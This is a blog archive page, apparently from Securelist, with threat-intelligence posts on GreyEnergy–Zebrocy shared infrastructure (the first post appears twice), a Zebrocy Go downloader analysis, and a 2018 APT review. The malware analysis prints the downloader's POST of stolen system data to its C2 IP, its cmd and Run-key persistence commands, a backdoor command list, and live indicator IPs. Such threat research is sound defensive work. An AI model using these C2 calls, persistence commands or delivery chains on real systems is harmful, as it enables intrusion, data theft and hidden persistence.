Category Archives: Sofacy

Securelist: GreyEnergy’s overlap with Zebrocy

In October 2018, ESET published a report describing a set of activity they called GreyEnergy, which is believed to be a successor to BlackEnergy group. BlackEnergy (a.k.a. Sandworm) is best known, among other things, for having been involved in attacks against Ukrainian energy facilities in 2015, which led to power outages. Like its predecessor, GreyEnergy malware has been detected attacking industrial and ICS targets, mainly in Ukraine.

Kaspersky Lab ICS CERT has identified an overlap between GreyEnergy and a Sofacy subset called “Zebrocy”. The Zebrocy activity was named after malware that Sofacy group began to use since mid-November 2015 for the post-exploitation stage of attacks on its victims. Zebrocy’s targets are widely spread across the Middle East, Europe and Asia and the targets’ profiles are mostly government-related.

Both sets of activity used the same servers at the same time and targeted the same organization.

Details

Servers

In our private APT Intel report from July 2018 “Zebrocy implements new VBA anti-sandboxing tricks”, details were provided about different Zebrocy C2 servers, including 193.23.181[.]151.

In the course of our research, the following Zebrocy samples were found to use the same server to download additional components (MD5):

7f20f7fbce9deee893dbce1a1b62827d
170d2721b91482e5cabf3d2fec091151
eae0b8997c82ebd93e999d4ce14dedf5
a5cbf5a131e84cd2c0a11fca5ddaa50a
c9e1b0628ac62e5cb01bf1fa30ac8317

The URL used to download additional data looks as follows:

hxxp://193.23.181[.]151/help-desk/remote-assistant-service/PostId.php?q={hex}

This same C2 server was also used in a spearphishing email attachment sent by GreyEnergy (aka FELIXROOT), as mentioned in a FireEye report. Details on this attachment are as follows:

  • The file (11227eca89cc053fb189fac3ebf27497) with the name “Seminar.rtf” exploited CVE-2017-0199
  • “Seminar.rtf” downloaded a second stage document from: hxxp://193.23.181[.]151/Seminar.rtf (4de5adb865b5198b4f2593ad436fceff, exploiting CVE-2017-11882)
  • The original document (Seminar.rtf) was hosted on the same server and downloaded by victims from: hxxp://193.23.181[.]151/ministerstvo-energetiki/seminars/2019/06/Seminar.rtf

Another server we detected that was used both by Zebrocy and by GreyEnergy is 185.217.0[.]124. Similarly, we detected a spearphishing GreyEnergy document (a541295eca38eaa4fde122468d633083, exploiting CVE-2017-11882), also named “Seminar.rtf”.

“Seminar.rtf”, a GreyEnergy decoy document

This document downloads a GreyEnergy sample (78734cd268e5c9ab4184e1bbe21a6eb9) from the following SMB link:

\\185.217.0[.]124\Doc\Seminar\Seminar_2018_1.AO-A

The following Zebrocy samples use this server as C2:

7f20f7fbce9deee893dbce1a1b62827d
170d2721b91482e5cabf3d2fec091151
3803af6700ff4f712cd698cee262d4ac
e3100228f90692a19f88d9acb620960d

They retrieve additional data from the following URL:

hxxp://185.217.0[.]124/help-desk/remote-assistant-service/PostId.php?q={hex}

It is worth noting that at least two samples from the above list use both 193.23.181[.]151 and 185.217.0[.]124 as C2s.

Hosts associated with GreyEnergy and Zebrocy

Attacked company

Additionally, both GreyEnergy and Zebrocy spearphishing documents targeted a number of industrial companies in Kazakhstan. One of them was attacked in June 2018.

GreyEnergy and Zebrocy overlap

Attack timeframe

A spearphishing document entitled ‘Seminar.rtf’, which retrieved a GreyEnergy sample, was sent to the company approximately on June 21, 2018, followed by a Zebrocy spearphishing document sent approximately on June 28:

‘(28.06.18) Izmeneniya v prikaz PK.doc’ Zebrocy decoy document translation:
‘Changes to order, Republic of Kazakhstan’

The two C2 servers discussed above were actively used by Zebrocy and GreyEnergy almost at the same time:

  • 193.23.181[.]151 was used by GreyEnergy and Zebrocy in June 2018
  • 185.217.0[.]124 was used by GreyEnergy between May and June 2018 and by Zebrocy in June 2018

Conclusions

The GreyEnergy/BlackEnergy actor is an advanced group that possesses extensive knowledge on penetrating into their victim´s networks and exploiting any vulnerabilities it finds. This actor has demonstrated its ability to update its tools and infrastructure in order to avoid detection, tracking, and attribution.

Though no direct evidence exists on the origins of GreyEnergy, the links between a Sofacy subset known as Zebrocy and GreyEnergy suggest that these groups are related, as has been suggested before by some public analysis. In this paper, we detailed how both groups shared the same C2 server infrastructure during a certain period of time and how they both targeted the same organization almost at the same time, which seems to confirm the relationship’s existence.

For more information about APT reports please contact: intelreports@kaspersky.com

For more information about ICS threats please contact: ics-cert@kaspersky.com



Securelist

GreyEnergy’s overlap with Zebrocy

In October 2018, ESET published a report describing a set of activity they called GreyEnergy, which is believed to be a successor to BlackEnergy group. BlackEnergy (a.k.a. Sandworm) is best known, among other things, for having been involved in attacks against Ukrainian energy facilities in 2015, which led to power outages. Like its predecessor, GreyEnergy malware has been detected attacking industrial and ICS targets, mainly in Ukraine.

Kaspersky Lab ICS CERT has identified an overlap between GreyEnergy and a Sofacy subset called “Zebrocy”. The Zebrocy activity was named after malware that Sofacy group began to use since mid-November 2015 for the post-exploitation stage of attacks on its victims. Zebrocy’s targets are widely spread across the Middle East, Europe and Asia and the targets’ profiles are mostly government-related.

Both sets of activity used the same servers at the same time and targeted the same organization.

Details

Servers

In our private APT Intel report from July 2018 “Zebrocy implements new VBA anti-sandboxing tricks”, details were provided about different Zebrocy C2 servers, including 193.23.181[.]151.

In the course of our research, the following Zebrocy samples were found to use the same server to download additional components (MD5):

7f20f7fbce9deee893dbce1a1b62827d
170d2721b91482e5cabf3d2fec091151
eae0b8997c82ebd93e999d4ce14dedf5
a5cbf5a131e84cd2c0a11fca5ddaa50a
c9e1b0628ac62e5cb01bf1fa30ac8317

The URL used to download additional data looks as follows:

hxxp://193.23.181[.]151/help-desk/remote-assistant-service/PostId.php?q={hex}

This same C2 server was also used in a spearphishing email attachment sent by GreyEnergy (aka FELIXROOT), as mentioned in a FireEye report. Details on this attachment are as follows:

  • The file (11227eca89cc053fb189fac3ebf27497) with the name “Seminar.rtf” exploited CVE-2017-0199
  • “Seminar.rtf” downloaded a second stage document from: hxxp://193.23.181[.]151/Seminar.rtf (4de5adb865b5198b4f2593ad436fceff, exploiting CVE-2017-11882)
  • The original document (Seminar.rtf) was hosted on the same server and downloaded by victims from: hxxp://193.23.181[.]151/ministerstvo-energetiki/seminars/2019/06/Seminar.rtf

Another server we detected that was used both by Zebrocy and by GreyEnergy is 185.217.0[.]124. Similarly, we detected a spearphishing GreyEnergy document (a541295eca38eaa4fde122468d633083, exploiting CVE-2017-11882), also named “Seminar.rtf”.

“Seminar.rtf”, a GreyEnergy decoy document

This document downloads a GreyEnergy sample (78734cd268e5c9ab4184e1bbe21a6eb9) from the following SMB link:

\\185.217.0[.]124\Doc\Seminar\Seminar_2018_1.AO-A

The following Zebrocy samples use this server as C2:

7f20f7fbce9deee893dbce1a1b62827d
170d2721b91482e5cabf3d2fec091151
3803af6700ff4f712cd698cee262d4ac
e3100228f90692a19f88d9acb620960d

They retrieve additional data from the following URL:

hxxp://185.217.0[.]124/help-desk/remote-assistant-service/PostId.php?q={hex}

It is worth noting that at least two samples from the above list use both 193.23.181[.]151 and 185.217.0[.]124 as C2s.

Hosts associated with GreyEnergy and Zebrocy

Attacked company

Additionally, both GreyEnergy and Zebrocy spearphishing documents targeted a number of industrial companies in Kazakhstan. One of them was attacked in June 2018.

GreyEnergy and Zebrocy overlap

Attack timeframe

A spearphishing document entitled ‘Seminar.rtf’, which retrieved a GreyEnergy sample, was sent to the company approximately on June 21, 2018, followed by a Zebrocy spearphishing document sent approximately on June 28:

‘(28.06.18) Izmeneniya v prikaz PK.doc’ Zebrocy decoy document translation:
‘Changes to order, Republic of Kazakhstan’

The two C2 servers discussed above were actively used by Zebrocy and GreyEnergy almost at the same time:

  • 193.23.181[.]151 was used by GreyEnergy and Zebrocy in June 2018
  • 185.217.0[.]124 was used by GreyEnergy between May and June 2018 and by Zebrocy in June 2018

Conclusions

The GreyEnergy/BlackEnergy actor is an advanced group that possesses extensive knowledge on penetrating into their victim´s networks and exploiting any vulnerabilities it finds. This actor has demonstrated its ability to update its tools and infrastructure in order to avoid detection, tracking, and attribution.

Though no direct evidence exists on the origins of GreyEnergy, the links between a Sofacy subset known as Zebrocy and GreyEnergy suggest that these groups are related, as has been suggested before by some public analysis. In this paper, we detailed how both groups shared the same C2 server infrastructure during a certain period of time and how they both targeted the same organization almost at the same time, which seems to confirm the relationship’s existence.

For more information about APT reports please contact: intelreports@kaspersky.com

For more information about ICS threats please contact: ics-cert@kaspersky.com

A Zebrocy Go Downloader

Last year at SAS2018 in Cancun, Mexico, “Masha and these Bears” included discussion of a subset of Sofacy activity and malware that we call “Zebrocy”, and predictions for the decline of SPLM/XAgent Sofacy activity coinciding with the acceleration of Zebrocy activity and innovation. Zebrocy was initially introduced as a Sofacy backdoor package in 2015, but the Zebrocy cluster has carved a new approach to malware development and delivery to the world of Sofacy. In line with this approach, we will present more on this Zebrocy innovation and activity playing out at SAS 2019 in Singapore.

Our colleagues at Palo Alto recently posted an analysis of Zebrocy malware. The analysis is good and marked their first detection of a Zebrocy Go variant as October 11, 2018. Because there is much to this cluster, clarifying and adding to the discussion is always productive.

Our original “Zebrocy Innovates – Layered Spearphishing Attachments and Go Downloaders” June 2018 writeup documents the very same downloader, putting the initial deployment of Zebrocy Go downloader activity at May 10, 2018. And while the targeting in the May event was most likely different from the October event, we documented this same Go downloader and same C2 was used to target a Kyrgyzstan organization. Also interesting is that the exact same system was a previous Zebrocy target earlier in 2018. So, knowing that this same activity is being reported on as “new” six months later tells us a bit about the willingness of this group to re-use rare components and infrastructure across different targets.

While they are innovating with additional languages, as we predicted in early 2018, their infrastructure and individual components may have more longevity than predicted. Additionally, at the beginning of 2018, we predicted the volume of Zebrocy activity and innovation will continue to increase, while the more traditional SPLM/XAgent activity will continue to decline. Reporting on SPLM/XAgent certainly has followed this course in 2018 as SPLM/XAgent detections wind down globally, as has Sofacy’s use of this malware from our perspective.

Much of the content below is reprinted from our June document.

The Sofacy subset we identify as “Zebrocy” continues to target Central Asian government related organizations, both in-country and remote locations, along with a new middle eastern diplomatic target. And, as predicted, they continue to build out their malware set with a variety of scripts and managed code. In this case, we see new spearphishing components – an LNK file maintaining powershell scripts and a Go-implemented system information collector/downloader. This is the first time we have observed a well-known APT deploy malware with this compiled, open source language “Go”. There is much continued recent Zebrocy activity using their previously known malware set as well.

Starting in May 2018, Zebrocy spearphished Central Asian government related targets directly with this new Go downloader. For example, the attachment name included one “30-144.arj” compressed archive, an older archiver type handled by 7zip, Rar/WinRAR, and others. Users found “30-144.exe” inside the archive with an altered file icon made to look like the file was a Word document (regardless of the .exe file extension). And in a similar fashion in early June, Zebrocy spearphished over a half-dozen accounts targeting several Central Asian countries’ diplomatic organizations with a similar scheme “2018-05-Invitation-Letter(1).rar//2018-05-Invitation-Letter(pril).docx”, sending out a more common Zebrocy Delphi downloader.

In other cases, delivery of the new Go downloader was not straightforward. The new Go downloader also was delivered with a new spearphishing object that rolls up multiple layers of LNK file, powershell scripts, base64 encoded content, .docx files and the Go downloader files. The downloader is an unusually large executable at over 1.5mb, written to disk and launched by a powershell script. So the attachment that arrived over email was large.
The powershell script reads the file’s contents from a very large LNK file that was included as an email attachment, and then writes it to disk along with a Word document of the same name. So, launching the downloader is followed with the opening of an identically named decoy word document with “WINWORD.EXE” /n “***\30-276(pril).docx” /o”. The downloader collects a large amount of system information and POSTs it to a known Zebrocy C2, then pulls down known Zebrocy Delphi payload code, launches it, and deletes itself.

We observed previous, somewhat similar spearphishing scenarios with an archive containing .LNK, .docx, and base64 encoded executable code, delivering offensive Finfisher objects in separate intrusion activity clusters. This activity was not Sofacy, but the spearphishing techniques were somewhat similar – the layered powershell script attachment technique is not the same, but not altogether new.

And, it is important to reiterate that these Central Asian government and diplomatic targets are often geolocated remotely. In the list of target geolocations, notice countries like South Korea, the Netherlands, etc. In addition to Zebrocy Go downloader data, this report provides data on various other observed Zebrocy malware and targets over the past three months.

Spreading

Mostly all observed Zebrocy activity involves spearphishing. Spearphish attachments arrive with .rar or .arj extensions. Filename themes include official government correspondence invitations, embassy notes, and other relevant items of interest to diplomatic and government staff. Enclosed objects may be LNK, docx, or exe files.

A decoy PDF that directly targeted a Central Asian nation is included in one of the .arj attachments alongside the Go downloader. The content is titled “Possible joint projects in cooperation with the International Academy of Sciences” and lists multiple potential projects requiring international cooperation with Tajikistan and other countries. This document appears to be a legitimate one that was stolen, created mid-May 2018. While we cannot reprint potentially leaked information publicly, clearly, the document was intended for a Russian-language reader.

Powershell launcher from within LNK

The LNK containing two layers of powershell script and base64 encoded content is an unusual implementation – contents from a couple are listed at the technical appendix. When opened, the script opens the shortcut file it is delivered within (“30-276(pril).docx.lnk”), pulls out the base64 encoded contents (in one case, from byte 3507 to byte 6708744), base64 decodes the content and another layer of the same powershell decoding. This script writes two files to disk as “30-276(pril).exe” and “30-276(pril).docx” and opens both files, leading to the launch of the Go language system information collector/downloader and a decoy Word document.

Go System Information Collector/Downloader

Md5              333d2b9e99b36fb42f9e79a2833fad9c
Sha256         fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e
Size              1.79mb (upx packed – 3.5mb upx unpacked)
CompiledOn Stomped (Wed Dec 31 17:00:00 1969)
Type             PE 32-bit Go executable
Name           30-276(pril).exe

This new Go component not only downloads and executes another Zebrocy component, but it enumerates and collects a fair amount of system data for upload to its C2, prior to downloading and executing any further modules. It simply collects data using the systeminfo utility, and in turn makes a variety of WMI calls.

After collecting system information, the backdoor calls out to POST to its hardcoded C2, in this case a hardcoded IP/Url. Note that the backdoor simply uses the default Go user-agent:
“POST /technet-support/library/online-service-description.php?id_name=345XXXD5
HTTP/1.1
Host: 89.37.226.148
User-Agent: Go-http-client/1.1”

With this POST, the module uploads all of the system information it just gathered with the exhaustive systeminfo utility over http: hostname, date/time, all hardware, hotfix, service and software information.

The module then retrieves the gzip’d, better known Zebrocy dropper over port 80 as part of an encoded jpg file, writes it to disk, and executes from a command line:
“cmd /C c:\users\XXX\appdata\local\Identities\{83AXXXXX-986F-1673-091A-02XXXXXXXXXX}\w32srv.exe”
and adds a run key persistence entry with the system utility reg.exe:
cmd /C “reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Driveupd /d
c:\users\XXX\appdata\local\Identities\{83AXXXXX-986F-1673-091A-02XXXXXXXXXX}\w32srv.exe /f”

Zebrocy AutoIT Dropper

Md5              3c58ed6913593671666283cb7315dec3
Sha256         96c3700ad639faa85982047e05fbd71c3dfd502b09f9860685498124e7dbaa46
Size              478.5kb (upx-packed)
Compiled     Fri Apr 27 06:40:32 2018
Type             PE32 AutoIT executable
Path, Name  appdata\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe

This AutoIT dropper writes out a Delphi payload, consistent with previous behavior going back to November 2015, initially described in our January 2016 report “Zebrocy – Sofacy APT Deploys New Delphi Payload”.

Zebrocy Delphi Payload

Md5               2f83acae57f040ac486eca5890649381
Sha256          f9e96b2a453ff8922b1e858ca2d74156cb7ba5e04b3e936b77254619e6afa4e8
Size               786kb
Compiled       Fri Jun 19 16:22:17 1992 (stomped/altered)
Type              PE32 exe [v4.7.7] Path, Name   c:\ProgramData\Protection\Active\armpro.exe

Interestingly the final payload reverts back to an earlier version [v4.7.7]. A “TURBO” command is missing from this Zebrocy Delphi backdoor command list .
SYS_INFO
SCAN_ALL
SCAN_LIST
DOWNLOAD_DAY
DOWNLOAD_LIST
CREATE_FOLDER
UPLOAD_FILE
FILE_EXECUTE
DELETE_FILES
REG_WRITE_VALUE
REG_READ_VALUE
REG_DELETE_VALUE
REG_GET_KEYS_VALUES
REG_DELETE_KEY
KILL_PROCESS
CONFIG
GET_NETWORK
CMD_EXECUTE
DOWNLOAD_DATE
DELETE_FOLDER
UPLOAD_AND_EXECUTE_FILE
SCREENSHOTS
FILE_EXECUTE
SET_HIDDEN_ATTR
START
STOP
KILL_MYSELF

Infrastructure

Zebrocy backdoors are configured to directly communicate with IP assigned web server hosts over port 80, and apparently the group favors Debian Linux for this part of infrastructure: Apache 2.4.10 running on Debian Linux. A somewhat sloppy approach continues, and the group set up and configured one of the sites with digital certificates using a typical Sofacy-sounding domain that they have not yet registered: “weekpost.org”. Digital certificate details are provided in the appendix.

These “fast setup” VPS servers run in “qhoster[.]com” can be paid for with Webmoney, Bitcoin, Litecoin, Dash, Alfa Click, Qiwi, transfers from Sberbank Rossii, Svyaznoy, Promsvyazbank, and more. Although, it appears that Bitcoin and Dash may be of the most interest to help ensure anonymous transactions. Dataclub provides similar payment methods:

One of the VPS IP addresses (80.255.12[.]252) is hosted in the “afterburst[.]com”/Oxygem range. This service is the odd one out and is unusual because it only supports VISA/major credit cards and Paypal at checkout. If other payment options are provided, they are not a part of the public interface.

Victims and Targeting

Zebrocy Go downloader 2018 targets continue to be Central Asian government foreign policy and administrative related. Some of these organizations are geolocated in-country, or locally, and some are located remotely. In several cases, these same systems have seen multiple artefacts from Zebrocy over the course of 2017 and early 2018:
• Kazakhstan
• Kyrgyzstan
• Azerbaijan
• Tajikistan

Additional recent Zebrocy target geo-locations (targeting various Central Asian/ex-USSR local and remote government locations):
• Qatar
• Ukraine
• Czech Republic
• Mongolia
• Jordan
• Germany
• Belgium
• Iran
• Turkey
• Armenia
• Afghanistan
• South Korea
• Turkmenistan
• Kazakhstan
• Netherlands
• Kuwait
• United Arab Emirates
• Spain
• Poland
• Qatar
• Oman
• Switzerland
• Mongolia
• Kyrgyzstan
• United Kingdom

Attribution

Zebrocy activity is a known subset of Sofacy activity. We predicted that they would continue to innovate within their malware development after observing past behavior, developing with Delphi, AutoIT, .Net C#, Powershell, and now “Go” languages. Their continued targeting, phishing techniques, infrastructure setup, technique and malware innovation, and previously known backdoors help provide strong confidence that this activity continues to be Zebrocy.

Conclusions

Zebrocy continues to maintain a higher level of volume attacking local and remote ex-USSR republic Central Asian targets than other clusters of targeted Sofacy activity. Also interesting with this Sofacy sub-group is the innovation that we continue to see within their malware development. Much of the spearphishing remains thematically the same, but the remote locations of these Central Asian targets are becoming more spread out – South Korea, Netherlands, etc. While their focus has been on Windows users, it seems that we can expect the group to continue making more innovations within their malware set. Perhaps all their components will soon support all OS platforms that their targets may be using, including Linux and MacOS. Zebrocy spearphishing continues to be characteristically higher volume for a targeted attacker, and most likely that trend will continue.
And, as their spearphishing techniques progress to rival Finfisher techniques without requiring zero-day exploitation, perhaps Zebrocy will expand their duplication of more sources of open source spearphishing techniques.

IoC

Go downloader
333d2b9e99b36fb42f9e79a2833fad9c

IPs
80.255.12.252
89.37.226.148
46.183.218.34
185.77.131.110
92.114.92.128

URLs
/technet-support/library/online-service-description.php?id_name=XXXXX
/software-apptication/help-support-apl/getidpolapl.php

File – paths and names
30-276(pril).exe
30-144-(copy).exe
Embassy Note No.259.docx.lnk
2018-05-Invitation-Letter(1).rar//2018-05-Invitation-Letter(pril).docx

APT review of the year

What were the most interesting developments in terms of APT activity throughout the year and what can we learn from them?

Not an easy question to answer; everybody has partial visibility and it’s never possible to really understand the motivations of some attacks or the developments behind them. Still, with the benefit of hindsight, let’s try to approach the problem from different angles to get a better understanding of what went on.

On big actors

There are a few ‘traditional’ actors that are very well known to the security community and that everybody has been tracking for the last few years. It has been business as usual for these actors in 2018 or, if anything, perhaps slightly quieter than usual.

In reality, it is the doctrines and modi operandi of these groups that determine how they react in the event of their operations becoming public knowledge. Some actors will simply abort their campaign and go into clean-up mode, while others carry on as normal. In order to do so, it is common for some of these actors to simultaneously work on several sets of activity. This allows them to compartmentalize operations, and if they are discovered, they simply improve their toolset to avoid detection next time.

We traditionally find many Russian-speaking actors in this second group, and we would like to highlight the 2018 activity of Sofacy, Turla and CozyBear.

Sofacy was probably the most active of the three. Throughout the year we detected it in various operations, updating their toolset and being blamed by authorities for several past operations. We have seen the actor deploying Gamefish and an updated version of its DealersChoice framework against embassies and EU agencies. One of the most high-profile incidents was abuse of Computrace LoJack by this actor in order to deploy its malware on victim machines, in what can be considered a UEFI-type rootkit.

Zebrocy is one of the tools traditionally used by this actor, but in reality the collection of cases where this tool was used can be considered a subset of activity in its own right. We saw different improvements for Zebrocy’s subset, including a new custom collector/downloader, new VBA implementing anti-sandboxing techniques and new .NET modules.

During the year we understood that Sofacy appears to be changing at a structural level and is possibly already being split into different subgroups. With the OlympicDestroyer analysis we learnt that this highly sophisticated false flag operation was somehow related to Sofacy. However, we later observed more activity by the OlympicDestroyer subset in Europe and Ukraine, and it was then that we decided to treat it as the entity we call Hades.

Of particular interest is how, after the publication of the GreyEnergy set of activity that is believed to be a continuation of BlackEnergy/Sandworm, we found additional overlaps between GreyEnergy and Zebrocy, including the use of the same infrastructure and the same 0-day for ICS.

All that seems to link this new Hades actor with the Zebrocy subset of activity, traditionally attributed to Sofacy, as well as part of the BlackEnergy/GreyEnergy/Sandworm cluster.

Regarding Turla, we didn’t spot any big structural changes like those described above, though we did see this actor using some interesting implants such as LightNeuron (targeting Exchange servers as described in our previous APT summary for Q2), as well as a new backdoor that, according to ESET, infected Germany’s Federal Foreign Office in 2017, as well as other entities in the European Union.

We discovered this actor using a new variant of its Carbon malware in its traditional activity of targeting embassies and foreign affairs institutions throughout the year. It also started using a new framework that we call Phoenix, as well as (unsurprisingly) transitioning to scripting and open source tools for its lateral movement stage.

Finally, some potential CozyDuke activity was detected during November 2018, apparently targeting diplomatic and governmental entities in Europe. The TTPs do not seem to be those that are usually attributed to this actor, which opened the door to speculation about this malware being used by a different group. The facts still seem to confirm that the malware used is attributable to CozyDuke. We are still investigating this new campaign by an actor that has been inactive for months.

It’s also worth mentioning Lazarus and BlueNoroff activity in 2018. We observed constant activity from this group targeting different regions including Turkey, other parts of Asia and Latin America, as well as various lines of business that provide it with financial gain, such as casinos, financial institutions and cryptocurrencies. In its more recent campaigns it has started deploying a new malware we call ThreatNeedle.

On false flags

It comes as no surprise to find false flags every now and again, sometimes implemented rather naively. But this year we witnessed what should be considered (so far) the mother of all false flags (more details can be found here). Other than the technical details themselves, what is also worth considering is the real purpose of this attack, and why these sophisticated false flags were planted in the malware.

The first obvious conclusion is that attackers now understand very well what techniques are used by the security industry to attribute attacks, so they have abused that knowledge to fool security researchers. Another consideration is that the main objective of an attack is not necessarily related to stealing information or disrupting operations – imitating an attacker might be more important.

This may actually be part of what some actors are doing at the moment. There are several groups that were apparently inactive for some time but now appear to be back. However, they are using different TTPs that are not necessarily better. As we shall see later, a couple of examples may be CozyDuke and APT10. As a purely speculative thought, it might be that their traditional toolset is now being used by different groups, maybe still related to the original operators. The purpose might be to make attribution more difficult in the future, or simply to distract from their real ongoing operations.

The whole OlympicDestroyer story eventually resulted in the discovery of a new subset of activity related to both Sofacy and BlackEnergy that we call Hades. We will see how these more sophisticated false flags evolve in the future and how they are used to pursue less explicit goals.

On the forgotten ones

Throughout the year we also saw how several old ‘friends’ re-emerged from hibernation with new sets of activity. Here we are talking about several well-known actors that for unknown reasons (a lack of visibility might be one of them) didn’t display much activity in recent times. However, it seems they are back. In some cases they appear in different weaker forms, perhaps with different operators, or just pretending not to be in shape while they run other parallel operations; in others cases they are back with their usual capabilities.

We can summarize all this by dividing it up into the regions that showed most activity during the year. First place went to South East Asia, followed by the Middle East.

For South East Asia we can point to groups such as Kimsuky that developed a brand new toolset at the very beginning of the year, or activity that falls under the always difficult-to-attribute WinNTI ‘umbrella’. However, and most notably, we can highlight groups such as DarkHotel, LuckyMouse, or even APT10.

The OceanSalt campaign was attributed to APT10, though it’s not very clear how strong the connection is. It seems unlikely that this actor, after the public disclosure and so many years of no known activity, would return with anything that might be attributable to them. At the moment, this is difficult to assess.

LuckyMouse, the second Chinese-speaking group from this list, was very active all year. It hacked national data centers to deploy watering-hole attacks against high-profile victims in central Asia, used a driver signed by a Chinese security-related software developer, and is even suspected of being behind attacks against Oman immediately after the signing of a military agreement with India.

Scarcruft used a new backdoor we call PoorWeb, deployed a 0-day in their campaign at the beginning of the year and used Android malware specially designed for Samsung devices. DarkHotel was also back with a 0-day and new activity, targeting their traditional victims. We were able to establish a connection with a medium level of certainty between DarkHotel and the Konni/Nokki set of activity described by other vendors.

APT10 was especially active against Japanese victims, with new iterations of its malware, as was OceanLotus, which actively deployed watering holes targeting high-profile victims in South Asia with a new custom stager.

In the Middle East we observed groups such as Prince of Persia re-emerge with some activity, along with OilRig. We also detected new MuddyWaters activity, as well as GazaTeam, DesertFalcons and StrongPity among others deploying various campaigns in the region.

On the new kids

At the same time many new sets of activity emerged during the year that were also focused primarily on the Middle East and South East Asia.

This activity was driven by Asian actors such as ShaggyPanther, Sidewinder, CardinalLizard, TropicTrooper, DroppingElephant, Rancor, Tick group, NineBlog, Flyfox and CactusPete – all of them active in the region throughout the year. As a rule, these groups are not that technically advanced, using a variety of approaches to achieve their objectives. They are usually interested in regional targets, with their main objectives being governmental and also military.

In the Middle East we saw activity by LazyMerkaats, FruityArmor, OpParliament, DarkHydrus and DomesticKitten among others. Sets of activity such as that by the Gorgon group are a bit of an exception as they also target victims outside the region.

Finally, we also detected new sets of activity that show an apparent interest in eastern European countries and former Soviet republics. In this group we find DustSquad, ParkingBear and Gallmaker. The latter seems to be interested in overseas embassies as well as military and defense targets in the Middle East.

On the big fishes

Even if some of the activity previously described doesn’t seem that technically advanced, it doesn’t mean it isn’t effective. Looking back we can cite a few public cases where it looks like these attacks are returning to the days when attackers were after major strategic research or blueprints that might be of the interest to state-sponsored groups, and not just some random data.

We have several examples. For instance, APT15 was suspected of targeting a company providing services to military and technology departments of the UK government. Intezer provided extra details about the activity of this group, though it is not clear who the ultimate victim was.

TEMP.Periscope was suspected of hacking maritime organizations related to the South China Sea. It wasn’t the only case in which the industry was targeted, as later it was discovered an unknown actor attacked companies related to Italian naval and defense industries.

Groups such as Thrip showed a clear interest in targeting satellite communication companies and defense organizations in the US and South East Asia.

Finally, the US Naval Undersea Warfare Center was attacked, according to the Washington Post, by a group linked to the Chinese Ministry of State Security, resulting in the theft of 614GB of data and blueprints.

The re-emergence of some of these groups and their victims don’t seem to be a coincidence. Some observers might even see the return of these big targeted attacks as the end of some sort of tacit agreement.

We also observed several attacks against journalists, activists, political dissidents and NGOs around the world. Many of these attacks involved malware developed by companies that provide surveillance tools to governments.

For instance, NSO and its Pegasus malware was discovered in more than 43 countries according to an external investigation, showing that business in this field is blooming. On a darker note, there were reports on how Saudi dissidents and Amnesty International volunteers were targeted with this malware.

The Tibetan community was also specifically targeted with different malware families, including a Linux backdoor, PowerShell payloads, and fake social media to steal credentials.

Finally, CitizenLab provided details of a campaign where Sandvine and GammaGroup artifacts were used for surveillance through local ISPs in Egypt, Turkey and Syria.

On naming and shaming

This is clearly a new strategy, adopted as a defense mechanism and as a response to the attackers, in some cases being justice able to claim individual working for APT groups. This can later be used in diplomatic offensives and lead to tougher consequences at the state level. It seems that governments are no longer shy of making these attacks public and providing details of their investigations, while pointing fingers at the suspected attackers. This is an interesting development and we will see how it evolves in the future.

The end of the Obama-era cyber-agreement between the US and China could be the reason for the wave of Chinese-speaking groups making a comeback, as well as the targeting of some of the high-profile ‘big fishes’ described above. We saw how in this new period of hostility between the two countries, the US obtained the extradition from Belgium of a Chinese intelligence officer charged with conspiring and attempting to commit economic espionage and steal trade secrets from multiple US aviation and aerospace companies.

The US also provided details about a North Korean citizen suspected of being part of the Lazarus group that was behind the Sony Entertainment attack and WannaCry activity, and who is now wanted by the FBI. Maybe in an unrelated note, the US Cert was very active during the year in providing indicators of compromise and detailing Lazarus (HiddenCobra) activity and the tools used by this actor.

After the infamous DNC hack, the US indicted 12 Russian citizens belonging to units 26165 and 74455 of the Russian Main Intelligence Directorate. Seven officers of GRU were also indicted for their alleged role in a campaign to retaliate against the World Anti-Doping Agency that exposed the Russian state-sponsored doping program.

In Europe, UK Officials and the UK National Cyber Security Center attributed the not-Petya attack that took place in June 2017 to Russian military units.

Finally, and in a very interesting initiative, the US Cyber Command launched an ‘information warfare’ campaign with a message to Russian operatives not to even try influencing the US mid-term election process.

All the above, and several other cases, shows how there seems to be a new doctrine in dealing with such hacking attempts, making them public and providing tools for media campaigns, future negotiations and diplomacy, as well as directly targeting operatives.

On hardware

The closer malware gets to the hardware level, the more difficult it is to detect and delete. This is no easy task for the attackers, as it’s usually difficult to find the exploit chain to get that deep in the system, along with the difficulty in developing reliable malware working in such deep levels. That always raises the question of whether this malware already exists, quietly abusing modern CPU architecture characteristics, and we simply don’t see it.

Recent discoveries of vulnerabilities in different processors open the door to exploits that might be around for years, because replacing the CPU is not something that can be easily done. It is not clear yet how Meltdown/Specter and AMDFlaws among others might be exploited and abused in the future, but attackers don’t really need to rush as these vulnerabilities will probably be around for a long time. Even if we haven’t see them being exploited in the wild yet, we believe this is a very valuable piece of knowledge for attackers and maybe also a timely reminder for us all about how important hardware security is.

That leads on to something we actually saw in the VPNFilter attack, in this case targeting networking devices on a massive scale. This campaign, attributed to a Russian-speaking set of activity, allowed attackers to infect hundreds of thousands of devices, providing control of the network traffic as well as allowing MITM attacks. We saw APT actors abusing network devices in the past but never in such an aggressive way.

On other stuff

Triton/Trisis is an industrial-targeting set of activity that gained popularity during the year as it was discovered in some victims, and is suspected of shutting down an oil refinery in an attack where the actor used a 0-day. According to FireEye, this actor might have Russian origins.

In our predictions we already discussed the possibility of destructive attacks becoming normal in situations where tensions exist between two adversaries, using collateral victims to cause harm and send messages in this dangerous grey zone between an open attack and diplomacy.

Financial attackers may not be using very new techniques, but that may be because they don’t need to. The Carbanak group was ‘beheaded’ with the arrest in Spain of one of their leaders; however, that doesn’t seem to have had any impact on subsequent Fin7 activity during the year. They deployed their new Griffon JavaScript backdoor targeting restaurant chains. Meanwhile, a suspected subset of this group – the CobaltGoblin group – was also very active targeting banks in a more direct way.

Kaspersky Security Bulletin 2018. Top security stories

Introduction

